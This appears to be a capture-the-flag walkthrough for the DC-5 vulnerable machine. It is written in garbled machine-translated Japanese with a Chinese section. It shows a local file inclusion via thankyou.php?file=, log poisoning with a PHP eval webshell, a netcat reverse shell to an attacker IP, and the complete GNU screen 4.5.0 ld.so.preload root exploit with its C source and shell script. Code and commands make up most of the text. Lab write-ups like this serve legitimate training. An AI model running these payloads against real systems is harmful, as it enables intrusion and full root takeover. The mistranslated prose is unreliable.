DC-5ターゲットドローンの練習
ダウンロードのリンク
収集された情報の最初の部分
情報収集の最初のステップ
開いているポートをスキャンする第二工程
第3のアクセスポート80
[開くContactページやメッセージボードに入力して、メッセージボードを発見し、提出します]
ステップ4:ページを観察します
文書の第二部は抜け穴が含まれています
最初のステップ:使用BurpSuiteキャプチャ、バック・ページを爆破
[発見index.phpを、solutions.php約-us.php、 faq.php、contact.php、thankyou.php、footer.php 7ページ]
カーリー自身の辞書を使用することで、
ブラウザで開くfooter.phpページ、必ずファイルがページがfooter.phpで含まれています。ステップ2
【http://192.168.139.150/footer.php】
含まれているファイルを取得するために、変数名の位置、および背景のpasswdファイルがあります。ステップ
[変数名:ファイル、passwdファイルの場所:/ etc / passwdファイル]
ステップ4:/ etc / passwdファイル、げっぷキャプチャ
【http://192.168.139.150/thankyou.php?file=/etc/passwd】
ステップ5:使用BurpSuiteキャプチャドローンログファイルの場所BaiduのPHPのログファイルをブラスト:/var/log/nginx/error.log
【GET /thankyou.php?file=/var/log/nginx/error.log HTTP / 1.1】
悪用を含むファイルの第3部分
最初のステップは、単語内のログファイルに書き込まれるトロイの木馬
使用BurpSuiteパケットデータを修正するには、トロイの木馬は、あなたが成功した書き込みを見ることができるログファイルを開き、ログファイルに単語を書き込み
、[GET /thankyou.php?<?phpにeval($ _ REQUEST [666]);?> HTTP / 1.1 ]
第二段階は、アリの剣接続ドローンを使用しています
新しいファイルステップ/ tmpの言葉トロイの木馬
/ tmpディレクトリshell.phpサーバーに新しいファイルを作成し、単語トロイの木馬と再接続を書きます
仮想端末アリの剣を使用して第四の工程はカーリーにシェルを回復し
[nc -e /bin/bash 192.168.139.153 1234]
[kali nc -lvvp 1234]
第四部分 提权
第一步:切换到交互式状态
[python -c ‘import pty;pty.spawn("/bin/bash")’]
第二步:查找sudo权限的
[find / -perm -u=s -type f 2>/dev/null]
第三步: 查找可用于screen 4.5.0的漏洞脚本文件
[searchsploit screen 4.5.0]
[cp /usr/share/exploitdb/exploits/linux/local/41152.txt 41152.text]
[cp /usr/share/exploitdb/exploits/linux/local/41154.sh 41154.sh]
第四步:漏洞脚本文件的利用
将41154.sh中上面一部分c语言代码另存为libhax.c 编译libhax.c文件
[gcc -fPIC -shared -ldl -o libhax.so libhax.c]
--------------------------------
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
chown("/tmp/rootshell", 0, 0);
chmod("/tmp/rootshell", 04755);
unlink("/etc/ld.so.preload");
printf("[+] done!\n");
}
-------------------------------------
将41154.sh中下面一部分c语言代码另存为rootshell.c 编译rootshell.c文件
[gcc -o rootshell rootshell.c]
-----------------------------------------
#include <stdio.h>
int main(void){
setuid(0);
setgid(0);
seteuid(0);
setegid(0);
execvp("/bin/sh", NULL, NULL);
}
------------------------------------------
将41154.sh中剩下部分代码另存为dc5.sh脚本文件
并在保存dc5.sh文件输入 :set ff=unix ,否则在执行脚本文件时后出错
-----------------------------
#!/bin/bash
# screenroot.sh
# setuid screen v4.5.0 local root exploit
# abuses ld.so.preload overwriting to get root.
# bug: https://lists.gnu.org/archive/html/screen-devel/2017-01/msg00025.html
# HACK THE PLANET
# ~ infodox (25/1/2017)
echo "~ gnu/screenroot ~"
echo "[+] First, we create our shell and library..."
cat << EOF > /tmp/libhax.c
#include <stdio.h>
EOF
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
rm -f /tmp/libhax.c
cat << EOF > /tmp/rootshell.c
EOF
gcc -o /tmp/rootshell /tmp/rootshell.c
rm -f /tmp/rootshell.c
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so...
/tmp/rootshell
------------------------------------
第五步 使用蚁剑将libhax.so 、rootshell 、dc5.sh三个文件上传到服务器的/tmp目录下
最終フラグを取得する第6の工程
正常ルート権限取得するために、dc5.shファイルを実行するdc5.sh実行権限に増加
[CDを/ TMP]
[chmodの+ X-dc5.sh]
[LS -l]
[./dc5.sh]
ルート権限を得るために、ルートディレクトリに、成功しthisistheflag.txtファイルを取得
[whoamiは]
[上記のid]
[CD /ルート]
[LS]
[CATのthisistheflag.txt]